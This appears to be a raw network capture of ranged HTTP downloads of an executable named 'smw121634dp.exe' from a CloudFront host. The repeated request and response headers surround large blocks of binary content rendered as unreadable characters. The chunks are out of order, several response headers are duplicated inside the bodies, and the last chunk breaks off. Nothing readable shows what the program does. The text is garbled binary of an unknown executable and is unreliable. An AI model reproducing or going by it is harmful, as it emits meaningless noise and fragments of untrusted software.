Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:20:06 GMT
Content-Range: bytes 1250000-1499999/3359008
X-Cache: Miss from cloudfront
Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 5qszbFpfEM6_n_SHqnSua2dClwcYhoalNqftFuUXQXLNifKQ_LQnmQ==

j..8|..R......4....I.rw..*V.....X.........%26.|.D'.d..)2..#...e....R0.i.
....580.n=..o....I...q.U.4.o"F.....2J.A..P...0..b..q.Rz.}....n..5.q.."
..7.....B...T...Q...Go..Z`d.E..B.G....CY...Q._Pb.A...5.[......\../W_}D
.}..-5P...=...|..%w{...........Y.T,.H..J.1..~D..f..g...|..z..@.B....e.
G.2X.*......3..fpv.]A......].{.E.X..h.Cu+^@.$%26.?Z....G_.......M.q...Pv
.......aa..i9k'd....W......c....P;;.......}%...r....r...I.UE(.......N\
...VV~..c...w........%26gt;...,.l...*.4...........ye...qD......t ...%26gt;
..@........^..M.....{.....\E.z....s.e....n..1.}..^..V......:H.A.!..i|.
G'@....%........@.'#..dI..Jy`.9..'5..Fj.....F.j[..;.s...]..P...5...W..
..\.%26gt;.|f.?.............!.......|B.q...w......*..B...x,];./..m.}..kl
.L..%26gt;%26gt;\...ml%26..fO.X.Ue....2....S....{.]k.Q..s.].....^..Jj..../.b
`...k.@C...Z.rE.G..%26gt;.8.={...v.A.w....(._..T..l.J...AgC.....T.....R.
.V ....IX%26.!..g....Y0.......%...R..Tm.(+....AI......_.D..||.*./..%26lt;.
5....}...JC.".....J......Uq.A.-..J*..P.V...x...C7....].+..c..-@9h..?v.
q.]d!..=...3....V.Zv.oT..c...d..q.%26..rP...l:......a9;.j..........f.3..
.AC...w..E.tPS..~...[.{.,%26.\.r$%26......-s.......A../..l...9..[n......5.
R%26lt;Y.q.......r..$.UH(.pw..Ob.N..Q...,W0.+D{l;...j.W.^.(..)gg.?....Z
.....8R.h......4]Q.g{0q...PZE^..sL..-Zx.v......k"...e=.(?.%26lt;.m......
O0.K.aY......u.%26lt;.%26.O.iX.x..=.]S..$)....q......7...h;.....f....*O...
.x....N.gP.KA..`..X.M../...........MCZ...4..........M.....h....xx.D%26.
E.\I...Kvr.nn..l.v.c.nqd..] t..!...4....]...{O..O...-jO....*.C...;h..*
%26lt;....Q.r.F\..#C...H......~.|...r...{.....2.?....?.J).........Z}

GET /smw121634dp.exe HTTP/1.1
Range: bytes=1500000-1749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: private
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:20:06 GMT
Content-Range: bytes 1500000-1749999/3359008
X-Cache: Miss from cloudfront
Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)
X-Amz-Cf-Id: A1qcf8jMm6EfdnLBl4pfkuyLfq9M7Uqf5dGsKlmAbbga_l7uEdSQdw==

.;%...F..u.......e...2..91HT....jS.@.tN,...:Ql.....6..Z....7..(y".X...
....r.....1X;....2B......;..Q.w.Y..T1....i.j...D%26lt;.}...]...4.....4{.
.C.\..%26gt;.8r....w|./....{.R....(EcW.p5?$.u.-T~u..x.....vL....'..C.jW.
H....S.........D4_U..{..P.{.^.g...)t.....%.Z.z..}..Q-...y.T...5}..Y..8
.CL....q..2.+)D".J.....T".!%26lt;bITGCR......EI...#...].$.n..}q.#.t..3.F
.....:.I.0y.hV.V4...|aE.y..]Jn..7...%26lt;E$.L.?XS...si..az=...# t...w..
dkJ..|....9.%26gt;....l....yX..9.%26lt;.e......L.rC1....e.}%26lt;.~..bT..M.h
.FFuuF.a..?X....C..{....v..`..}.i..........`..{.:.G..._.$KS..vu.... "H
./..D...../..........C.....%26gt;...|1.kz....a..d.......@JE!...iR.v.....
`..h....|.......l......1..n...(I.......vLX.S..nN..%26lt;.......B.`Io.XR.
..[.Qs..Mp...'a......R..\.N..j..y.....3.H..P...^j....5..U.....P.o.X.jo
.......3..Zw....1............y/"...e.X.a...Q'^9m..Zm(D8...P...#E`..^).
."...Sm...N06..f.V......w...2......r.,..4....{.....%26lt;..y...7..i.....
...@R0zJcMT.H...D..%26....rU.%26...kC..#.._.t'r.6..i.......P...w..'0".Z...
7...D7M.Q.6.f#.......;.%26lt;1.=.D.q....o...7G.....R..%n...{..-_......@'
M.qV."n\,..7..N=V...)... .bY...........X...i.B.....;E..H'..P.UH".V...y
....{n...M....q.}.O...F5 .....E.F..../....z......8...X....X...b. :a._.
IG..,...k..{..."!v.a..p:..s.P..%26gt;.2._..@N..CeV........1..NbHe..}.+*}
..4\..u8'..`....f:....qK..?.......3.#...%26z.NM......%26gt;...}........6-/
.R%26lt;.I..t,.*2a.Ld%26lt;.s. ....r......`0..*..$.iWdu.X.dA...8......XD}.
..~uJ..`x.]S........_....%..D.o.w....y...n........O^..QH..%...PF...._.
..l.....W........u..U..1...e..z.'B22...7I...P.A.s.%26lt;.@...^.y...4

GET /smw121634dp.exe HTTP/1.1
Range: bytes=1750000-1999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: private
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:20:07 GMT
Content-Range: bytes 1750000-1999999/3359008
X-Cache: Miss from cloudfront
Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)
X-Amz-Cf-Id: O60HVq8xryQtoELtUxkF8_4apIxdbPGzEchY3NXfaSwuRUB2_efYeQ==

Tu..r..S...}....8..!....*..S?}.w.T.*8.......%26lt;...P..YQ......,X......
.BWC....`.J|... .......2..y].......Ds...x..^...b..,......z..]..wx.....
%26lt;...jn.R..o......W`.....'3H9....;....4..o.I....tK.fy..C.%26lt;...g...
..[..c.).".m..)....s......Z...j....v.5.+.f.oF...%26S.....G.-.~.\....c..^
.B.a....p.......K`..Fe..Z|..y. ..jp........0...... ..........J7..5..x.
N......N.... ....R.....Z.b....... ..N.W.....b.p.......pe.S...1.v9..1.m
-lC..5...8.n.@..P...^2....z.@. ........B......V..2..}.%26lt;.^.R..1"....
c..W ..%4....'l5%26r......n.........I.7....s5...@..p.o.g..=.=.1.R...#..2
.j....E......!@..zG..Y-...8..g.K..q..cV...4...j.w.....i....+.W.B.f....
~..=Z...iEL...v~M...)....g.M..680....p..7.`a.....P.fVsN0.^k...h.8.qh..
.7.4........t..z...!..u.6...%..R...%26lt;..;.}Y..p....K|.........x?..,.#
:L....'O*..P.}...3d^..-?....u...L..{{.(.f.]..vptU`...../......%26gt;..3.
n7.o_....b. .GE^..i.IR.:.S....'..........q...m...._.T..l..R.....2..'..
m.....`..X....(....v1.c..........d.bm.\.........`.E;[|..%%e.m.....jUZ.
..n....! .{4t(u...%26lt;...%26gt;0G....Ub`.T......B...x.....Q..-s.{....,J^
e...1.]..56...9/4....)c.4z*~.GO%%26gt;T..5.3^....)....xvP....^40.;...J..
.!.9..G..UMx..d...a%.*.,..%8......}.V......! .`....N.+s-...u.....R..1.
.......Qg.\E%26lt;..9'.....R...F..L.c..k..xq%26lt;+#..ss..d.f.%26..|..a..,..
IT............y...o$.%26f..b.~%..TI..]@...~....|Q.'U.Z.o.{.!.K.!...%26lt;.
0......MX/...nP.R.LxL.-.wO...r.U..G.......%26gt;.......%26..H.....C.-\..H.
..q...T%26.5"....#m....%26p.....B..,.{....,..%.4%26gt;7./...9.nf...#.P..y...
.%26lt;.H...A...fP,....J9[.......f'R...9V....LL.3.59..D...c@...].U..

GET /smw121634dp.exe HTTP/1.1
Range: bytes=2250000-2499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: private
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:20:07 GMT
Content-Range: bytes 2250000-2499999/3359008
X-Cache: Miss from cloudfront
Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 61z2GHNcv2SJ3EZCGA9l_0zla_R829QyYR1XaPZy4XAvFw6c-lfzJA==

HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Cache-Control: private
..Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT..Accept-Ranges: bytes..
ETag: "44deb3125cb9d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: AS
P.NET..Date: Mon, 20 Mar 2017 00:20:07 GMT..Content-Range: bytes 22500
00-2499999/3359008..X-Cache: Miss from cloudfront..Via: 1.1 7922e01ab5
3e8f36477272573223ab35.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 61z2G
HNcv2SJ3EZCGA9l_0zla_R829QyYR1XaPZy4XAvFw6c-lfzJA==...g$.X.#..2.u%26..r.
Q-.......r.=..$....J.....1M.#uQ$..M.XCe..K9Jk].w\.:. ...c.....\.......
....{.s.E}-o.|..KC{`..D.=.....5..S........ .c_-..yN.6.U........4.....w
....)=!.b........!.q...@.....;I.%26gt;.......7.+j...n...cjD.cs..(.....D.
.........n....(.mc!..=......$.........a...CPaw,r.*....}.V..n...E..oW..
l...b.....:o.7%26.(............)...H...=.R......5..woY..O1..[.%1.}..+.Yq
_....Q..Y.8.I.....)..WU23m....(iMJc.".8^.%26lt;.e.S.?.D.6.+..m$K..a.....
G....c.Y.......F.A.DuEP....%26lt;........x..P8.s$..0.J........=..@.D.$.|
"...:..W...a....%26lt;...qq....S..,-.5O2"%-....Uah..2.......dJ..|Q....r.
.`C.,....Wp.]...S....tX;D....sP`B..]..0..Zq..SF.....%26lt;r.T.6(?..-..qK
~j`...........at....{.^.....N..b....MO.M....t1..B...sj".......Hrj.|..y
j^.Fq?xJ...;..d...0h}%26lt;].R.0......p..k...w.a:.A....{.z.AN.%?5.}...\*
w|/=s....T...n.v.%26...}.Z.sf0.u,Ls.....R.BS..v.$Ao$...$.'.kh..)@....j?.
.2d..R....j3]x..js..nQ_EO.u..Vt..(..m.....[.0...=..xzfa.._W.0!{.....9?
..e%26.....e..YB.jG%26lt;..q+Fc.N..C%*......../...c..G.ab.6.......U.C.

GET /smw121634dp.exe HTTP/1.1
Range: bytes=2750000-2999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: private
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:20:08 GMT
Content-Range: bytes 2750000-2999999/3359008
X-Cache: Miss from cloudfront
Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)
X-Amz-Cf-Id: PbnrUwqUApr6PQSXhWpG9mCaD8OZ9r3J7nW8I5ZDgeRhArGZtOc_dQ==

HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Cache-Control: private
..Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT..Accept-Ranges: bytes..
ETag: "44deb3125cb9d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: AS
P.NET..Date: Mon, 20 Mar 2017 00:20:08 GMT..Content-Range: bytes 27500
00-2999999/3359008..X-Cache: Miss from cloudfront..Via: 1.1 7922e01ab5
3e8f36477272573223ab35.cloudfront.net (CloudFront)..X-Amz-Cf-Id: PbnrU
wqUApr6PQSXhWpG9mCaD8OZ9r3J7nW8I5ZDgeRhArGZtOc_dQ==....@Q... %26lt;.....
%26*..N@3...1....%26CJ?..,....\....j..~%26P..,p..l1....ssI..`..b9....#....cu
.....,..iWQ.....feG7..n.E,...yq..Nn....JUK..j......D.......X.R...Q...m
P.)...4.5.(....h.i...d..].c..#..q8?..K..i......,i...?.q=...z.......w.u
.#.....C1...4...O.8B..B.k...r.....G.......b..a.b4z..W..:P!..a..@...Z#%26
gt;v..P.5..8.....M.8.......p/.VZ........e}...o-R....8Q.\...4{.3......,
..{..a....R_.........B\.x..J..M...~.AB.n.#.... .....RC..zFm...H..-.;..
..K.T.UR..9..=.%.6.).r0.lYw....)........y...3.......Y...*.Gw..Z0.c....
..S....sX.mA.........Dt?...4....F.o4..5..V..B..5./.4.5.)Z.7..8.m.K.a..
u...$....x......p.....\.;..Qx.%.......%26(q..........W+.....1[...c.,....
r.H....u..M..G.g...`..?x..%26lt;.w.YNe..]'.dWT'!...o.....m.Kf......w.1.3
+.HW;...+.......{d....U+.c.x...1...HS^.qc.t...]a,.%26lt;.TOs.Y._....d+..
. 2`...!...rTH.K.ZN.?3@.......1.;..i[.1.!.'=.....q..Xz.iQ.U%26gt;.....cT
r...dz...8..PK.....9.`....Qug=.0P3.~..ksUg0.....S_m..%26gt;..6q0}.b..@%26l
t;-U....{..m%26lt;........X]|..n..%26.....z.~..kE..9Yy...N..)h...{...%26

GET /smw121634dp.exe HTTP/1.1
Range: bytes=3250000-3359007
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 109008
Connection: keep-alive
Cache-Control: private
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:20:09 GMT
Content-Range: bytes 3250000-3359007/3359008
X-Cache: Miss from cloudfront
Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)
X-Amz-Cf-Id: I31ccdgXE3qawaG5WkECGySddehcAOPF3r7sbp2_0ec9HAyJnKf0nA==

~....wR0sx.D..iw..z-..g.....%/....U|..s....xN.hD.'E....DvG....'O..m..b
I%.m.....+e$ozE.\..........%26.....J...M....6....."...U...v...z8v.3..N..
..\..isE..9...Q........'..o1"..-?..Uj....9..K.@:............z6:.[:+n..
.%...i..U..-..x..........u...3.T.u%26lt;..k......a..q...A.=[..@?*r......
...K'.9.g..GU..5.}tSH.......\.......|..!r.L........?.o....k...e.4...AF
h..l"=......S..f:,+7...%26gt;z,...6..C..,.XD.`...2....x49gD.=......KU..u
..v../...'...D?.....w.4...U.Nz.$.....v..@K.......".g...%26.....wCP=.W.6z
.[.........8AM...O.'...E.+..@.F.7W%26.I`...J..%26(.*}a.X.-..G6.c^....m...T
W).=Qf..[....X!.nn.......X......l.....D...{q...%!,.....).L:E..b^.b.5..
..A...qU...+k.....A..A..%.i...x..'........Wm.....=-.?..2s......1g%26].Z.
n...T.q...z.[....C...SUQ...\..?....%D.........-./d.(.....;...2........
..x.%/..ECi%.:...4.T},1rf.......+{O.B.%26lt;.....+]}.....Z...."...=....%26
gt;.^.`u...g....}..].w....U.M......C.iH....~ .VQ.g#.15.Cg....G.k...|.
C..H$.)..a...V)...*....X75NiO...+...H]....;....8...@L%26gt;....O...+1M..
...............yhG..F..=}.....1....W...A1..\.J ...x..O..(. .....'..t..
B2.m%26gt;gKp`.N`..F/..CrB8.E.^.;..h!.9.O.....m..,n..;'P..v..U...ww.R...
.$^iG...]E...ZF7A..h)'.j...lr.@.R....B).....|....V.J.,.H...4.X.ks.....
e.N.[......IQ.@...)...w...4.W........".e.].....8........t..#..........
giJeZ.......E..Ow..k...X......^G#b.=.w..x.2.t..................x.oKM..
d....K..UJb~...X.y..]....u.. ....V6..8.(7.........%26lt;....S......P!.A.
;.Jk......Dl^3...3.......S.v.o)j...........9...Ja\.'W.8...;#..]R...V.3
.vz..M)G.?.....X...r4........_.....5.B.B.._I.d.{..rJ+~.T...\.o....

GET /smw121634dp.exe HTTP/1.1
Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: private
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:20:03 GMT
Content-Range: bytes 500000-749999/3359008
X-Cache: Miss from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 73bYzrGAQNmnG1baOMtjc5-dfLee3rDLMHTGLcQTJSulzOA0hZRqNA==

HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Cache-Control: private
..Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT..Accept-Ranges: bytes..
ETag: "44deb3125cb9d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: AS
P.NET..Date: Mon, 20 Mar 2017 00:20:03 GMT..Content-Range: bytes 50000
0-749999/3359008..X-Cache: Miss from cloudfront..Via: 1.1 1f8a17c41295
fac39556a328869a62bd.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 73bYzrG
AQNmnG1baOMtjc5-dfLee3rDLMHTGLcQTJSulzOA0hZRqNA==..G|....F...`#1.G....
.....Wk*..%26lt;......3~m._..y3.....t..=is..h._m.M8T.i.K.._u..k.........
AJ.v%26-2H.......i..K......-.S.2G...-q..}..])f....ad.j..f..EV.G.}g.NVBSR
!~Ne3..."4........V...{g..i+.k.....$v..z:..K......X..;.j(..e.3....p...
c).............qW}i.-....z!.S...]....a.=g_.n....yx.n.y|.a.....\.uy....
....5.~.9I"E..V..R.3XX.[..W.%26lt;.XfGK.....`Q.q..|..?.G..........7..M..
.U.-....YzK!....D'.*%26gt;...o.~G.b....j...X.=S.+.l\v.A..P..}.....h.d.g|
..D:...L.ky...k..jL..o.(.e$|R..[.Y.....|...6*..;3.o...w.i...x%..(]D!n.
..).bK.........%26lt;.!+..@.%26gt;.-SU.R/p."..M....o_.i.u... d..{M]...,5j.
%26lt;.'........O..L5.l.. S..G.0KD.q.B..^...Vk...}~...*C..^.q...+.!....*
0.._...f..j.?.....~+.m..(..]L.kK.......`..h..... ..{......`.jR...$..LI
.,.W...;.mp~2.3.[8mI...f..............K..B..y.?.yk...Mc..J..wX..;.f...
V0.n..T$~...d..f3..;...X......t...=.......W.Q.._../5.)..lF "../.e..=.F
.0...C.....+A.*u......hP.o.v.8.........9%....!..0J..ipJb|..e...I..,..N
..9K..c...Sn......\4WA.k.#.....t.+1.}.H.......%26gt;.......?.{......

GET /smw121634dp.exe HTTP/1.1
Range: bytes=1000000-1249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: private
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:20:06 GMT
Content-Range: bytes 1000000-1249999/3359008
X-Cache: Miss from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: GOtOcUaeRubNkdJJcxbDp34Q7UvWRt24FjfdWQixZSboFzckdf8XyA==

HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Cache-Control: private
..Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT..Accept-Ranges: bytes..
ETag: "44deb3125cb9d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: AS
P.NET..Date: Mon, 20 Mar 2017 00:20:06 GMT..Content-Range: bytes 10000
00-1249999/3359008..X-Cache: Miss from cloudfront..Via: 1.1 1f8a17c412
95fac39556a328869a62bd.cloudfront.net (CloudFront)..X-Amz-Cf-Id: GOtOc
UaeRubNkdJJcxbDp34Q7UvWRt24FjfdWQixZSboFzckdf8XyA==.....@.eU...N.wz.F.
.........'..0.{.)U~...N.:?....T.t........SG'/.%26lt;..m....:.K...._.....
...\...C.v%.............d..xkD..p8%..].Q.....9.....N\%26h.D.q.....u.K.p.
.C..]DsO.....DnP|.?.o.%.........5k..M...9......E.,.6,p.5..W.....i.t...
.HcH..?...6..jR.\....Od.....[...Jg..!....;....F....)~..........W......
*.;.t.....X7...a. :.uw/.S.E....c...`.jj._....D..x..93.....j.......?.V.
....C.=N...v......./....[..zN....g.].4G?y'^q..,.w...).z1...u..,[n?..p.
f..k.....3CE..^.....6.........t.%e......Q]!.#.J.6.(..N..X.#.2W.u#..Tvi
......LA.F...hb...w%..dC.92..9a....~Y...*1.5jM....ZoS........dR....1%26-
..~Cy.....^X.%26lt;ih..O%26gt;..4.......Y.P....L#...~......o.~..4k=..%26G.G.
..[.+F....+.w./..........^e.oW.Y)....:'.....c......lb.TN.....[.h......
S...x.6..(Ijbj...|F..K.......$e.j.z..4.5.H..........k.J...8q..#....Y93
g.......5TQ..8.$..:.P.k....H.i).9.S..U.H........CsCQd.9f...........%26lt
;...MW.(_.......{.k..i..1`..Mx_%26.v.y%26gt;l^r.H.......o.+.%26;;.W..F...6..
.1..^.=F..W..=.\.?l..^....4...j....D..'...8]..%Y`....L6...c..U?..H

GET /smw121634dp.exe HTTP/1.1
Range: bytes=2000000-2249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: private
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:20:07 GMT
Content-Range: bytes 2000000-2249999/3359008
X-Cache: Miss from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: In5ZPfnrz4RStEHUJKJFc_bd7MY7cv54AbD8JuHhDS8qw4BcFn41mQ==

HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Cache-Control: private
..Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT..Accept-Ranges: bytes..
ETag: "44deb3125cb9d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: AS
P.NET..Date: Mon, 20 Mar 2017 00:20:07 GMT..Content-Range: bytes 20000
00-2249999/3359008..X-Cache: Miss from cloudfront..Via: 1.1 1f8a17c412
95fac39556a328869a62bd.cloudfront.net (CloudFront)..X-Amz-Cf-Id: In5ZP
fnrz4RStEHUJKJFc_bd7MY7cv54AbD8JuHhDS8qw4BcFn41mQ==....M..HUn.W..=....
Sa..s..Mh.^.B,=..._V.e3F..;...Y.1.r..A.%26gS3.....;.l...L........_.....4
..0L77.7,O..(j..~.# ..H{+..zXg.k......=..5f|.*2./.ie...%26gt;..pQD 'A...
...\e..ME.....2....gm.lu....!..9`....{...2IY.^.n.x..$...xl.....0..r...
y[.7B..`..j...PO..?...L...h..........r...........L.ad....uv..X.}......
."...x?...w;....M.M.Vb.....0q.}gUA...G.%26gt;..%L.~.....k.!.....i:.5....
...?...1......1......NI..N.....R..%26lt;....uv....U.s.B.(.P..pL.s.."..8.
......4%26.......[o.bpoJ.."M.b1...'"J.:.(.;-%26gt;.....%26_..E...#....L.Z...
.w.........c".....:..oT.....%26lt;....N.!.N...u..c......;.|.C.......A..\
.._+-X....Z...........UDC.1.D".TZ.e5.q.5..x....k%26gt;.jDu.hk..Y.@......
?.i....Fp@.%26gt;e...N..:O...15Y9.....}.uTa%...N2.%26gt;9...[.%26S.fc^.."@..
...]s%26lt;...~.O.Cn5.'^...e...v.......b...m%26lt;...........ww._.p.u.e.61
.gn ...$b"..o.....^.4#]...........t../.xi.../l@C}.I.V...G..FB.e.....3Y
.O...^y..*U..^G9..........M....T....W.L.Wn.t.~A.H9G...x..CW.M...n:...f
....4....~.;a........,.2....z...+...@D...F...M.*....MM.?..R.....k.

GET /smw121634dp.exe HTTP/1.1
Range: bytes=2500000-2749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: private
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:20:07 GMT
Content-Range: bytes 2500000-2749999/3359008
X-Cache: Miss from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: UJBgyu-grWH9iJrDK9N1Fi5GMnW6lToTKqBVlqBOJkPDl2iaqxci9g==

HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Cache-Control: private
..Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT..Accept-Ranges: bytes..
ETag: "44deb3125cb9d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: AS
P.NET..Date: Mon, 20 Mar 2017 00:20:07 GMT..Content-Range: bytes 25000
00-2749999/3359008..X-Cache: Miss from cloudfront..Via: 1.1 1f8a17c412
95fac39556a328869a62bd.cloudfront.net (CloudFront)..X-Amz-Cf-Id: UJBgy
u-grWH9iJrDK9N1Fi5GMnW6lToTKqBVlqBOJkPDl2iaqxci9g==....vH..r...%26lt;..X
QR.N.....O3.h.%26....nS.:MT.b.$...k.!.i...%.6#...._.7".A:...?...c.N.D...
.;.7..N..`..{....kc.E....f..X.i....@.F...w".....4...../.%26H.N..B...*...
'..i...t...{...n@=#j..y.-...-..................JCpNR..8^|..%.]0..?...p
g..b.S.=...2..8......)#..v....r.b^Ow.l....St.Kc..Q..p'....=0Up4_..D..y
d..Q.......a...4.4.Q.):...~b..\x.e..M..y 9.30.....`4Z..g....C..*....f.
..(v_)a.5[..%26gt;...m....p.x..d#.4.Z.Cr..@.*S._.$....v...a..B...XC.)g.7
..........%k..IX.?..J`..%26gt;.c..........z.....R..3+...0^....BL..{.;...
..... 0cc...zR.pL....-..+..M..8....(%26...So..!..R..[.........^.........
.~.e..Z.....|[:.....%%26lt;t........k6.X~2..q?aH. ../..(.).8.._..a..:e..
.T7..A.U.....l..........q.."B..e.k.!%Gw..............W..K.T...7e...T..
.U..6.....].so.%26.^.......M.E..U.....72\-.\d$wd.........4..B^.....%26gt;#
Zx....Y.o.2N.D.dB_.e4.Q..Y...68..*..g.0.....a...Q.k.06...j.x19'+@.O%26gt
;.'..Y.i]@...U.....dG[.p%25.O............c..j..H......Y*.#.N..V.......
6...d.9r.........%26gt;mg.....^.@..e...4.PY.3....%26lt;.....Jz..s.LS.m

GET /smw121634dp.exe HTTP/1.1
Range: bytes=3000000-3249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: private
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:20:08 GMT
Content-Range: bytes 3000000-3249999/3359008
X-Cache: Miss from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: HYkReG18M0uc9GlZ8mnOOUb0KoWlETc6mEBYP88wmo9j6kPC8AKe5Q==

HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Cache-Control: private
..Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT..Accept-Ranges: bytes..
ETag: "44deb3125cb9d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: AS
P.NET..Date: Mon, 20 Mar 2017 00:20:08 GMT..Content-Range: bytes 30000
00-3249999/3359008..X-Cache: Miss from cloudfront..Via: 1.1 1f8a17c412
95fac39556a328869a62bd.cloudfront.net (CloudFront)..X-Amz-Cf-Id: HYkRe
